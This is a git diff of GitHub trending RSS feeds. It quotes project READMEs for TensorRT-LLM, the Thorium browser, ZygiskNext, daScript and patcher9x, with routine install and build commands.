module containing functions like <code>einsum</code>, <code>softmax</code>, <code>matmul</code> or <code>view</code>. The <a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/tensorrt_llm/layers">layers</a> module bundles useful building blocks to assemble LLMs; like an <code>Attention</code> block, a <code>MLP</code> or the entire <code>Transformer</code> layer. Model-specific components, like <code>GPTAttention</code> or <code>BertAttention</code>, can be found in the <a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/tensorrt_llm/models">models</a> module.</p> <p>TensorRT-LLM comes with several popular models pre-defined. They can easily be modified and extended to fit custom needs. See below for a list of supported <a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/#Models">models</a>.</p> <p>To maximize performance and reduce memory footprint, TensorRT-LLM allows the models to be executed using different quantization modes (see <a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/examples/gpt"><code>examples/gpt</code></a> for concrete examples). TensorRT-LLM supports INT4 or INT8 weights (and FP16 activations; a.k.a. INT4/INT8 weight-only) as well as a complete implementation of the <a href="https://arxiv.org/abs/2211.10438">SmoothQuant</a> technique.</p> <p>For a more detailed presentation of the software architecture and the key concepts used in TensorRT-LLM, we recommend you to read the following <a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/docs/source/architecture.md">document</a>.</p> <h2>Installation</h2> <p><em>For Windows installation, see <a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/windows/"><code>Windows/</code></a>.</em></p> <p>TensorRT-LLM must be built from source, instructions can be found <a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/docs/source/installation.md">here</a>. An image of a Docker container with TensorRT-LLM and its Triton Inference Server Backend will be made available soon.</p> <p>The remaining commands in that document must be executed from the TensorRT-LLM container.</p> <h2>Quick Start</h2> <p>To create a TensorRT engine for an existing model, there are 3 steps:</p> <ol> <li>Download pre-trained weights,</li> <li>Build a fully-optimized engine of the model,</li> <li>Deploy the engine.</li> </ol> <p>The following sections show how to use TensorRT-LLM to run the <a href="https://huggingface.co/bigscience/bloom-560m">BLOOM-560m</a> model.</p> <p><em><strong>0. In the BLOOM folder</strong></em></p> <p>Inside the Docker container, you have to install the requirements:</p> <pre><code class="language-bash">pip install -r examples/bloom/requirements.txt git lfs install </code></pre> <p><em><strong>1. Download the model weights from HuggingFace</strong></em></p> <p>From the BLOOM example folder, you must download the weights of the model.</p> <pre><code class="language-bash">cd examples/bloom rm -rf ./bloom/560M mkdir -p ./bloom/560M &amp;&amp; git clone https://huggingface.co/bigscience/bloom-560m ./bloom/560M </code></pre> <p><em><strong>2. Build the engine</strong></em></p> <pre><code class="language-python"># Single GPU on BLOOM 560M python build.py --model_dir ./bloom/560M/ \ --dtype float16 \ --use_gemm_plugin float16 \ --use_gpt_attention_plugin float16 \ --output_dir ./bloom/560M/trt_engines/fp16/1-gpu/ </code></pre> <p>See the BLOOM <a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/examples/bloom">example</a> for more details and options regarding the <code>build.py</code> script.</p> <p><em><strong>3. Run</strong></em></p> <p>The <code>summarize.py</code> script can be used to perform the summarization of articles from the CNN Daily dataset:</p> <pre><code class="language-python">python summarize.py --test_trt_llm \ --hf_model_location ./bloom/560M/ \ --data_type fp16 \ --engine_dir ./bloom/560M/trt_engines/fp16/1-gpu/ </code></pre> <p>More details about the script and how to run the BLOOM model can be found in the example <a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/examples/bloom">folder</a>. Many more <a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/#models">models</a> than BLOOM are implemented in TensorRT-LLM. They can be found in the <a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/examples/">examples</a> directory.</p> <h2>Support Matrix</h2> <p>TensorRT-LLM optimizes the performance of a range of well-known models on NVIDIA GPUs. The following sections provide a list of supported GPU architectures as well as important features implemented in TensorRT-LLM.</p> <h3>Devices</h3> <p>TensorRT-LLM is rigorously tested on the following GPUs:</p> <ul> <li><a href="https://www.nvidia.com/en-us/data-center/h100/">H100</a></li> <li><a href="https://www.nvidia.com/en-us/data-center/l40s/">L40S</a></li> <li><a href="https://www.nvidia.com/en-us/data-center/a100/">A100</a>/<a href="https://www.nvidia.com/en-us/data-center/products/a30-gpu/">A30</a></li> <li><a href="https://www.nvidia.com/en-us/data-center/v100/">V100</a> (experimental)</li> </ul> <p>If a GPU is not listed above, it is important to note that TensorRT-LLM is expected to work on GPUs based on the Volta, Turing, Ampere, Hopper and Ada Lovelace architectures. Certain limitations may, however, apply.</p> <h3>Precision</h3> <p>Various numerical precisions are supported in TensorRT-LLM. The support for some of those numerical features require specific architectures:</p> <table> <thead> <tr> <th align="left"></th> <th align="left">FP32</th> <th align="left">FP16</th> <th align="left">BF16</th> <th align="left">FP8</th> <th align="left">INT8</th> <th align="left">INT4</th> </tr> </thead> <tbody> <tr> <td align="left">Volta (SM70)</td> <td align="left">Y</td> <td align="left">Y</td> <td align="left">N</td> <td align="left">N</td> <td align="left">Y</td> <td align="left">Y</td> </tr> <tr> <td align="left">Turing (SM75)</td> <td align="left">Y</td> <td align="left">Y</td> <td align="left">N</td> <td align="left">N</td> <td align="left">Y</td> <td align="left">Y</td> </tr> <tr> <td align="left">Ampere (SM80, SM86)</td> <td align="left">Y</td> <td align="left">Y</td> <td align="left">Y</td> <td align="left">N</td> <td align="left">Y</td> <td align="left">Y</td> </tr> <tr> <td align="left">Ada-Lovelace (SM89)</td> <td align="left">Y</td> <td align="left">Y</td> <td align="left">Y</td> <td align="left">Y</td> <td align="left">Y</td> <td align="left">Y</td> </tr> <tr> <td align="left">Hopper (SM90)</td> <td align="left">Y</td> <td align="left">Y</td> <td align="left">Y</td> <td align="left">Y</td> <td align="left">Y</td> <td align="left">Y</td> </tr> </tbody> </table> <p>In this release of TensorRT-LLM, the support for FP8 and quantized data types (INT8 or INT4) is not implemented for all the models. See the <a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/docs/source/precision.md">precision</a> document and the <a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/examples/">examples</a> folder for additional details.</p> <h3>Key Features</h3> <p>TensorRT-LLM contains examples that implement the following features.</p> <ul> <li>Multi-head Attention(<a href="https://arxiv.org/abs/1706.03762">MHA</a>)</li> <li>Multi-query Attention (<a href="https://arxiv.org/abs/1911.02150">MQA</a>)</li> <li>Group-query Attention(<a href="https://arxiv.org/abs/2307.09288">GQA</a>)</li> <li>In-flight Batching</li> <li>Paged KV Cache for the Attention</li> <li>Tensor Parallelism</li> <li>Pipeline Parallelism</li> <li>INT4/INT8 Weight-Only Quantization (W4A16 &amp; W8A16)</li> <li><a href="https://arxiv.org/abs/2211.10438">SmoothQuant</a></li> <li><a href="https://arxiv.org/abs/2210.17323">GPTQ</a></li> <li><a href="https://arxiv.org/abs/2306.00978">AWQ</a></li> <li><a href="https://arxiv.org/abs/2209.05433">FP8</a></li> <li>Greedy-search</li> <li>Beam-search</li> <li>RoPE</li> </ul> <p>In this release of TensorRT-LLM, some of the features are not enabled for all the models listed in the <a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/examples/">examples</a> folder.</p> <h3>Models</h3> <p>The list of supported models is:</p> <ul> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/examples/baichuan">Baichuan</a></li> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/examples/bert">Bert</a></li> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/examples/blip2">Blip2</a></li> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/examples/bloom">BLOOM</a></li> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/examples/chatglm6b">ChatGLM-6B</a></li> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/examples/chatglm2-6b/">ChatGLM2-6B</a></li> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/examples/falcon">Falcon</a></li> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/examples/gpt">GPT</a></li> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/examples/gptj">GPT-J</a></li> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/examples/gpt">GPT-Nemo</a></li> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/examples/gptneox">GPT-NeoX</a></li> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/examples/llama">LLaMA</a></li> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/examples/llama">LLaMA-v2</a></li> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/examples/mpt">MPT</a></li> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/examples/opt">OPT</a></li> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/examples/gpt">SantaCoder</a></li> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/examples/gpt">StarCoder</a></li> </ul> <h2>Performance</h2> <p>Please refer to the <a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/docs/source/performance.md">performance</a> page for performance numbers. That page contains measured numbers for four variants of popular models (GPT-J, LLAMA-7B, LLAMA-70B, Falcon-180B), measured on the H100, L40S and A100 GPU(s).</p> <h2>Advanced Topics</h2> <h3>Quantization</h3> <p>This <a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/docs/source/precision.md">document</a> describes the different quantization methods implemented in TensorRT-LLM and contains a support matrix for the different models.</p> <h3>In-flight Batching</h3> <p>TensorRT-LLM supports in-flight batching of requests (also known as continuous batching or iteration-level batching). It's a <a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/docs/source/batch_manager.md">technique</a> that aims at reducing wait times in queues, eliminating the need for padding requests and allowing for higher GPU utilization.</p> <h3>Attention</h3> <p>TensorRT-LLM implements several variants of the Attention mechanism that appears in most the Large Language Models. This <a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/docs/source/gpt_attention.md">document</a> summarizes those implementations and how they are optimized in TensorRT-LLM.</p> <h3>Graph Rewriting</h3> <p>TensorRT-LLM uses a declarative approach to define neural networks and contains techniques to optimize the underlying graph. For more details, please refer to <a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/docs/source/graph-rewriting.md">doc</a></p> <h3>Benchmark</h3> <p>TensorRT-LLM provides <a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/benchmarks/cpp/README.md">C++</a> and <a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/benchmarks/python/README.md">Python</a> tools to perform benchmarking. Note, however, that it is recommended to use the C++ version.</p> <h2>Troubleshooting</h2> <ul> <li> <p>It's recommended to add options <code>–shm-size=1g –ulimit memlock=-1</code> to the docker or nvidia-docker run command. Otherwise you may see NCCL errors when running multiple GPU inferences. See <a href="https://docs.nvidia.com/deeplearning/nccl/user-guide/docs/troubleshooting.html#errors">https://docs.nvidia.com/deeplearning/nccl/user-guide/docs/troubleshooting.html#errors</a> for details.</p> </li> <li> <p>When building models, memory-related issues such as</p> </li> </ul> <pre><code>[09/23/2023-03:13:00] [TRT] [E] 9: GPTLMHeadModel/layers/0/attention/qkv/PLUGIN_V2_Gemm_0: could not find any supported formats consistent with input/output data types [09/23/2023-03:13:00] [TRT] [E] 9: [pluginV2Builder.cpp::reportPluginError::24] Error Code 9: Internal Error (GPTLMHeadModel/layers/0/attention/qkv/PLUGIN_V2_Gemm_0: could not find any supported formats consistent with input/output data types) </code></pre> <p>may happen. One possible solution is to reduce the amount of memory needed by reducing the maximum batch size, input and output lengths. Another option is to enable plugins, for example: <code>--use_gpt_attention_plugin</code>.</p> <h2>Release notes</h2> <ul> <li>TensorRT-LLM requires TensorRT 9.1.0.4 and 23.08 containers.</li> </ul> <h3>Change Log</h3> <ul> <li>TensorRT-LLM v0.5.0 is the first public release.</li> </ul> <h3>Known Issues</h3> <h3>Report Issues</h3> <p>You can use GitHub issues to report issues with TensorRT-LLM.</p> </div> </div> - - - Alex313031/thorium - 2023-10-29T01:48:29Z - tag:github.com,2023-10-29:/Alex313031/thorium - - <p>Chromium fork named after radioactive element No. 90. Windows and MacOS/Raspi/Android/Special builds are in different repositories, links are towards the top of the README.md.</p><hr><p><img src="https://img.shields.io/github/v/tag/alex313031/thorium?label=Version%3A" alt="GitHub tag (latest SemVer)"> &nbsp;<img src="https://img.shields.io/github/license/alex313031/thorium?color=green&amp;label=License%3A" alt="GitHub"> &nbsp;<img src="https://img.shields.io/github/commit-activity/w/alex313031/thorium?color=blueviolet&amp;label=Commit%20Activity%3A" alt="GitHub commit activity"> &nbsp;<img src="https://img.shields.io/reddit/subreddit-subscribers/ChromiumBrowser?style=social" alt="Subreddit subscribers"></p> <h1>Thorium</h1> <img src="https://github.com/Alex313031/thorium/raw/main/logos/NEW/thorium_ver_2048_grey_old.png"> <h2>Chromium fork for linux named after <a href="https://en.wikipedia.org/wiki/Thorium">radioactive element No. 90</a>. Windows/MacOS/RasPi/Android/Other builds see below.</h2> <ul> <li>Always built with the latest stable version of <a href="https://www.chromium.org/">Chromium</a>.</li> <li>Intended to behave like and have the featureset of Google Chrome, with differences/patches/enhancements listed below.</li> <li>Includes <a href="https://www.widevine.com/">Widevine</a>, <a href="https://tools.woolyss.com/html5-audio-video-tester/">All Codecs</a>, Chrome Plugins, as well as thinLTO, CFlag, LDFlag, LLVM Loop, and PGO compiler optimizations. It is built with <a href="https://en.wikipedia.org/wiki/SSE4">SSE4</a>, <a href="https://en.wikipedia.org/wiki/Advanced_Vector_Extensions">AVX</a>, and <a href="https://en.wikipedia.org/wiki/AES_instruction_set">AES</a>, so it won't launch on CPU's below 2nd gen Core or AMD FX, but benefits from Advanced Vector EXtensions. If your CPU lacks AVX, you can use builds from <a href="https://github.com/Alex313031/Thorium-Special">Thorium Special</a>.</li> </ul> <h3>Other Builds &nbsp;<img src="https://github.com/Alex313031/thorium/raw/main/logos/STAGING/winflag_animated.gif" width="34"> &nbsp;<img src="https://github.com/Alex313031/thorium/raw/main/logos/STAGING/AVX2.png" width="48"> &nbsp;<img src="https://github.com/Alex313031/thorium/raw/main/logos/STAGING/apple.png" width="30"> &nbsp;<img src="https://github.com/Alex313031/thorium/raw/main/logos/STAGING/Android_Robot.svg?sanitize=true" width="26"> &nbsp;<img src="https://github.com/Alex313031/thorium/raw/main/logos/STAGING/Raspberry_Pi_Logo.svg?sanitize=true" width="24"> &nbsp;<img src="https://raw.githubusercontent.com/Alex313031/thorium-win7/main/logos/STAGING/win7/compatible-with-windows-7.png" width="28"></h3> <p>&nbsp;– Windows builds are here &gt; <a href="https://github.com/Alex313031/Thorium-Win">Thorium Win</a> <br> &nbsp;– AVX2 Builds for Windows and Linux &gt; <a href="https://github.com/Alex313031/Thorium-AVX2">Thorium AVX2</a> <br> &nbsp;– MacOS (M1 and X64) builds are located at &gt; <a href="https://github.com/Alex313031/Thorium-Mac">Thorium Mac</a> <br> &nbsp;– Android (arm32 &amp; arm64) builds are located at &gt; <a href="https://github.com/Alex313031/Thorium-Android">Thorium Android</a> I might also occasionally post x86 builds. <br> &nbsp;– Raspberry Pi builds are located at &gt; <a href="https://github.com/Alex313031/Thorium-Raspi">Thorium Raspi</a> For the Pi 3B/3B+ and Pi 4/400. <br> &nbsp;– Special builds are located at &gt; <a href="https://github.com/Alex313031/Thorium-Special">Thorium Special</a> You can find SSE3 builds for CPUs without AVX here. <br> &nbsp;– Thorium Website with deb repo for auto-updating on Linux &gt; <a href="https://thorium.rocks/">https://thorium.rocks/</a> <br> &nbsp;– <strong>NEW</strong>: Windows 7 / 8 / 8.1 / Server 2012 builds in &gt; <a href="https://github.com/Alex313031/thorium-win7">Thorium Win7</a></p> <h3>FEATURES &amp; DIFFERENCES BETWEEN CHROMIUM AND THORIUM <img src="https://github.com/Alex313031/thorium/raw/main/logos/NEW/bulb_light.svg#gh-dark-mode-only"> <img src="https://github.com/Alex313031/thorium/raw/main/logos/NEW/bulb_dark.svg#gh-light-mode-only"></h3> <blockquote> <ul> <li>Various compiler flags that improve performance and target <a href="https://en.wikipedia.org/wiki/Advanced_Vector_Extensions">AVX</a> CPU's (read <a href="https://github.com/Alex313031/thorium/raw/main/infra/PATCHES.md">PATCHES.md</a>)</li> <li>Experimental <a href="https://en.wikipedia.org/wiki/Dynamic_Adaptive_Streaming_over_HTTP">MPEG-DASH</a> support.</li> <li>HEVC/H.265 support on Linux and Windows.</li> <li><a href="https://jpeg.org/jpegxl/">JPEG XL</a> Image File Format turned on by default.</li> <li>Enable <a href="https://support.google.com/chrome/answer/10538231?hl">Live Caption</a> (SODA) on all builds.</li> <li>Experimental PDF annotation support (called "Ink" on ChromiumOS). # DISABLED FOR NOW BECAUSE OF CRASHES.</li> <li>Patches from Debian including font rendering patch, VAAPI Patch, Intel HD support patch, native notifications patch, title bar patch, and... the VDPAU Patch!! (Rejoice Nvidia users)</li> <li>VAAPI on Wayland Patch (Thanks AUR and @pierro78)</li> <li>Audio Sandbox patch.</li> <li><a href="https://en.wikipedia.org/wiki/DNS_over_HTTPS">DoH</a> (DNS over HTTPS) patches from Bromite.</li> <li>Enable <a href="https://allaboutdnt.com/">Do Not Track</a> by default patch from Vanadium.</li> <li>Show full URLs including trailing slashes in address bar by default.</li> <li>Disable <a href="https://en.wikipedia.org/wiki/Federated_Learning_of_Cohorts">FLOC</a> patch.</li> <li>Disable annoying Google API Key Infobar warning (you can still use API Keys to enable sync) from Ungoogled Chromium.</li> <li>Disable annoying Default Browser Infobar warning.</li> <li>Adds <a href="https://duckduckgo.com/">DuckDuckGo</a>, <a href="https://search.brave.com/">Brave Search</a>, <a href="https://www.ecosia.org/">Ecosia</a>, <a href="https://www.ask.com/">Ask.com</a>, and <a href="https://yandex.com/">Yandex.com</a> in US and other locales, along with the normal search engines.</li> <li>Always use the local NTP (New Tab Page) regardless of search engine.</li> <li>Fix icons when distilling page content in <a href="https://www.howtogeek.com/423643/how-to-use-google-chromes-hidden-reader-mode/">Reader Mode</a>.</li> <li>Enable new Menu UI when right clicking the Reload button. (Adds 'Normal Reload', 'Hard Reload', and 'Clear Cache and Hard Reload')</li> <li>Home button and Chrome Labs shown by Default.</li> <li><a href="https://www.chromium.org/developers/design-documents/dns-prefetching/">Prefetch</a> settings updated to respect privacy.</li> <li>Patches for <a href="https://chromium.googlesource.com/chromium/src/tools/gn/+/48062805e19b4697c5fbd926dc649c78b6aaa138/README.md">GN</a> and <a href="https://chromium.googlesource.com/chromium/src/+/HEAD/docs/design/sandbox.md">chrome_sandbox</a> when building.</li> <li>Remove the addition of the Chrome APT sources.list during installation.</li> <li>Widevine CDM Patch for Linux.</li> <li>GTK auto dark mode patch</li> <li>Various new flags either developed from scratch, or added from Ungoogled Chromium. See <a href="https://github.com/Alex313031/thorium/raw/main/infra/PATCHES.md">PATCHES.md</a></li> <li>Enable Parallel Downloading by Default.</li> <li>Inclusion of <img src="https://github.com/Alex313031/thorium/raw/main/logos/STAGING/pak.png" width="16"> <a href="https://github.com/Alex313031/thorium/tree/main/pak_src#readme">pak</a> a utility for packing and unpacking the <a href="https://textslashplain.com/2022/05/03/chromium-internals-pak-files/">*.pak</a> files in Thorium or any other Chromium based browser.</li> <li>Logo and Branding/Naming changed to the Thorium logo, Thorium name, and "Alex313031" being appended to "The Chromium Authors" in credits, etc.</li> <li>.desktop file includes useful cmdline flags that enable experimental or useful features. (See <a href="https://github.com/Alex313031/thorium/raw/main/infra/PATCHES.md">PATCHES.md</a>)</li> <li>Includes installer patches and files to include <a href="https://chromedriver.chromium.org/home">ChromeDriver</a> and <em>thorium_shell</em> <a href="https://chromium.googlesource.com/chromium/src/+/HEAD/docs/testing/web_tests_in_content_shell.md">(content_shell)</a>, with a .desktop file being provided for thorium_shell (named thorium-shell.desktop and shows in desktop environments as Thorium Content Shell). These are also included in the Windows releases, but it doesn't make a shorcut, although a .png and .ico is in the install directory for you to make your own shortcut with an icon. You can also run content_shell with the command thorium-shell (custom wrapper for it, located in /usr/bin/). You can run ChromeDriver at /usr/bin/chromedriver or chromedriver.exe on Windows. Also, patches for abseil library and mini_installer when building with AVX on Windows.</li> <li>Right clicking the launcher after install gives three additional desktop actions, one to open thorium-shell, another to open in Safe Mode which disables any flags one has set in chrome://flags until the next launch, and lastly to open in Dark Mode which appends the --force-dark-mode flag.</li> </ul> </blockquote> <ul> <li>For more info, read the <a href="https://github.com/Alex313031/thorium/raw/main/infra/PATCHES.md">PATCHES.md</a> file.</li> <li>Known bugs are in the <a href="https://github.com/Alex313031/thorium/raw/main/infra/BUGS.md">BUGS.md</a> file.</li> <li>A list of Chromium command line flags can be found at &gt; <a href="https://peter.sh/experiments/chromium-command-line-switches">https://peter.sh/experiments/chromium-command-line-switches</a></li> </ul> <h2>Building <img src="https://github.com/Alex313031/thorium/raw/main/logos/NEW/build_light.svg#gh-dark-mode-only"> <img src="https://github.com/Alex313031/thorium/raw/main/logos/NEW/build_dark.svg#gh-light-mode-only"></h2> <p>See &gt; <a href="https://github.com/Alex313031/thorium/raw/main/docs/BUILDING.md">https://github.com/Alex313031/thorium/blob/main/docs/BUILDING.md</a></p> <h2>Debugging <img src="https://github.com/Alex313031/thorium/raw/main/logos/STAGING/bug.svg?sanitize=true" width="28"></h2> <p>See &gt; <a href="https://github.com/Alex313031/thorium/tree/main/infra/DEBUG#readme">https://github.com/Alex313031/thorium/tree/main/infra/DEBUG#readme</a></p> <hr> <p>&nbsp;− <a href="https://www.reddit.com/r/ChromiumBrowser/">https://www.reddit.com/r/ChromiumBrowser/</a> is a subreddit I made for Thorium and general Thorium/Chromium discussion, <a href="https://thorium.rocks/">https://thorium.rocks/</a> is the website I made for it, and <a href="https://alex313031.blogspot.com/">https://alex313031.blogspot.com/</a> is a blog I made relating to Thorium/ThoriumOS. <br> &nbsp;− I also build ChromiumOS (now called ThoriumOS) with Thorium, Codecs, Widevine, linux-firmware/modules, and extra packages at &gt; <a href="https://github.com/Alex313031/ChromiumOS/">https://github.com/Alex313031/ChromiumOS/</a></p> <p>&nbsp;− Thanks to <a href="https://github.com/robrich999/">https://github.com/robrich999/</a> for some info and fixes that went into this project.<br> &nbsp;− Thanks to <a href="https://github.com/midzer/">https://github.com/midzer/</a> for support and helping with builds. <br> &nbsp;− Also thanks to <a href="https://github.com/bromite/bromite">https://github.com/bromite/bromite</a>, <a href="https://github.com/saiarcot895/chromium-ubuntu-build">https://github.com/saiarcot895/chromium-ubuntu-build</a>, <a href="https://github.com/Eloston/ungoogled-chromium">https://github.com/Eloston/ungoogled-chromium</a>, <a href="https://github.com/GrapheneOS/Vanadium">https://github.com/GrapheneOS/Vanadium</a>, and <a href="https://github.com/iridium-browser/iridium-browser">https://github.com/iridium-browser/iridium-browser</a> for patch code. <br> &nbsp;− The pak_src dir, and the binaries in <em>pack_src/bin</em> are credited to @freeer <a href="https://github.com/myfreeer/chrome-pak-customizer/">https://github.com/myfreeer/chrome-pak-customizer/</a></p> <p>&nbsp;&nbsp; <strong>NOTE:</strong> <a href="https://github.com/Alex313031/thorium/raw/main/infra/libpepflashplayer.so"><em>libpepflashplayer.so</em></a> is included for posterity and can be used to enable Adobe Flash on older Chromium releases. ʘ‿ʘ</p> <p><em>Thanks for using Thorium!</em></p> <img src="https://github.com/Alex313031/thorium/raw/main/logos/STAGING/Thorium90_504.jpg" width="200"> <p><img src="https://github.com/Alex313031/thorium/raw/main/logos/STAGING/GitHub/GitHub-Mark-Light-32px.png#gh-dark-mode-only"> <img src="https://github.com/Alex313031/thorium/raw/main/logos/STAGING/GitHub/GitHub-Mark-32px.png#gh-light-mode-only"></p> - - - Dr-TSNG/ZygiskNext - 2023-10-29T01:48:29Z - tag:github.com,2023-10-29:/Dr-TSNG/ZygiskNext - - <p>Standalone implementation of Zygisk</p><hr><h1>Zygisk Next</h1> <p>Standalone implementation of Zygisk, providing Zygisk API support for KernelSU and a replacement of Magisk's built-in Zygisk.</p> <h2>Requirements</h2> <h3>General</h3> <ul> <li>No multiple root implementation installed</li> <li>SELinux enforcing: Zygisk Next rely on SELinux to prevent <code>vold</code> from aborting our fuse connection</li> </ul> <h3>KernelSU</h3> <ul> <li>Minimal KernelSU version: 10940</li> <li>Minimal ksud version: 10942</li> <li>Kernel has full SELinux patch support</li> </ul> <h3>Magisk</h3> <ul> <li>Minimal version: 26300</li> <li>Built-in Zygisk turned off</li> </ul> <h2>Compatibility</h2> <p><code>PROCESS_ON_DENYLIST</code> cannot be flagged correctly for isolated processes on Magisk DenyList currently.</p> <p>Zygisk Next only guarantees the same behavior of Zygisk API, but will NOT ensure Magisk's internal features.</p> - - \ No newline at end of file diff --git a/c-objdump/daily/index.xml b/c-objdump/daily/index.xml index bef7126c896..8a6b9d101b7 100644 --- a/c-objdump/daily/index.xml +++ b/c-objdump/daily/index.xml @@ -1,7 +1,7 @@ GitHub C-ObjDump Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:28:26Z + 2023-10-30T01:25:21Z Daily Trending of C-ObjDump in GitHub \ No newline at end of file diff --git a/c-objdump/weekly/index.xml b/c-objdump/weekly/index.xml deleted file mode 100644 index 721f0ca72d8..00000000000 --- a/c-objdump/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub C-ObjDump Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:48:25Z - Weekly Trending of C-ObjDump in GitHub - - \ No newline at end of file diff --git a/c/daily/index.xml b/c/daily/index.xml index c9cdd1396b5..48a60388076 100644 --- a/c/daily/index.xml +++ b/c/daily/index.xml @@ -1,21 +1,14 @@ GitHub C Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:28:04Z + 2023-10-30T01:25:15Z Daily Trending of C in GitHub - GaijinEntertainment/daScript - 2023-10-29T01:28:04Z - tag:github.com,2023-10-29:/GaijinEntertainment/daScript - - <p>daScript - high-performance statically strong typed scripting language</p><hr><h1>daScript</h1> <p>daScript - high-performance statically strong typed scripting language</p> <p>MacOS/linux/win32/win64 build status <a href="https://github.com/GaijinEntertainment/daScript/actions/workflows/build.yml"><img src="https://github.com/GaijinEntertainment/daScript/actions/workflows/build.yml/badge.svg?sanitize=true" alt="build"></a><br> MacOS/linux/win64 wasm build status <a href="https://github.com/GaijinEntertainment/daScript/actions/workflows/wasm_build.yml"><img src="https://github.com/GaijinEntertainment/daScript/actions/workflows/wasm_build.yml/badge.svg?sanitize=true" alt="wasm_build"></a></p> <p>Read my <a href="https://borisbat.github.io/dascf-blog">BLOG</a></p> <p>0.4 version released</p> <p>Looks like we are going to have releases soon. In the meantime CMake install is now a thing. Disable XBYAK and QUIRREL- and you got yourself a clean build where everything is tested, installs, has samples, and all that jazz.</p> - - - JHRobotics/patcher9x - 2023-10-29T01:28:04Z - tag:github.com,2023-10-29:/JHRobotics/patcher9x - - <p>Patch for Windows 9x to fix CPU issues</p><hr><h1>Patch for Windows 95/98/98 SE/Me to fix CPU issues</h1> <p>Virtualization of Microsoft Windows 9x systems is a bit problematic due to 2 major bugs: <a href="https://raw.githubusercontent.com/JHRobotics/patcher9x/main/#patch-for-windows-98me-to-fix-tlb-invalidation-bug">TLB invalidation bug</a> and <a href="https://raw.githubusercontent.com/JHRobotics/patcher9x/main/#patch-for-windows-9598-to-fix-cpu-speed-limit-bug">CPU speed limit bug</a>.</p> <p>This program contains a set of patches to fix these bugs, and can be booted from a floppy on a virtual machine. It either applies the patch to the installed system, or it patches the installation files in order to create (relatively) bug-free installation media.</p> <h2>Patch for Windows 98/Me to fix TLB invalidation bug</h2> <p>MS Windows 98 won't run on newer CPU (even in a virtual machine) due to the "TLB invalidation bug". The bug is described here: <a href="https://blog.stuffedcow.net/2015/08/win9x-tlb-invalidation-bug/">https://blog.stuffedcow.net/2015/08/win9x-tlb-invalidation-bug/</a></p> <p><img src="https://raw.githubusercontent.com/JHRobotics/patcher9x/main/doc/shell32.gif" alt="Bug animation on Windows 98"></p> <p>If you want to run a virtual machine without restriction with Windows 98 on AMD Zen 2 and newer (Ryzen 3000+) or Intel Core 11th generation and newer (code names Rocket Lake, Tiger Lake), you probably need this patch.</p> <h2>Patch for Windows 95/98 to fix CPU speed limit bug</h2> <p>Windows 95 and 98 FE (first edition) won't run on any CPU with frequency of ~2GHz and more due to dividing by zero in the CPU speed test. The bug is described and located here: <a href="https://www.betaarchive.com/forum/viewtopic.php?t=29224">https://www.betaarchive.com/forum/viewtopic.php?t=29224</a></p> <p><img src="https://raw.githubusercontent.com/JHRobotics/patcher9x/main/doc/ndis.gif" alt="Bug animation on Windows 95"></p> <p>There is also an older patch for this bug <a href="http://www.tmeeco.eu/9X4EVER/GOODIES/FIX95CPU_V3_FINAL.ZIP">FIX95CPU</a>, but it's only for Windows 95, doesn't integrate the "divide by zero" protection and also it's incrementing the number of cycles in the testing loop only 10 times of original which probably isn't enough for future CPUs. You can test your CPU speed with this command:</p> <pre><code>patcher9x -cputest </code></pre> <h2>Requirements</h2> <p>Currently supported operation 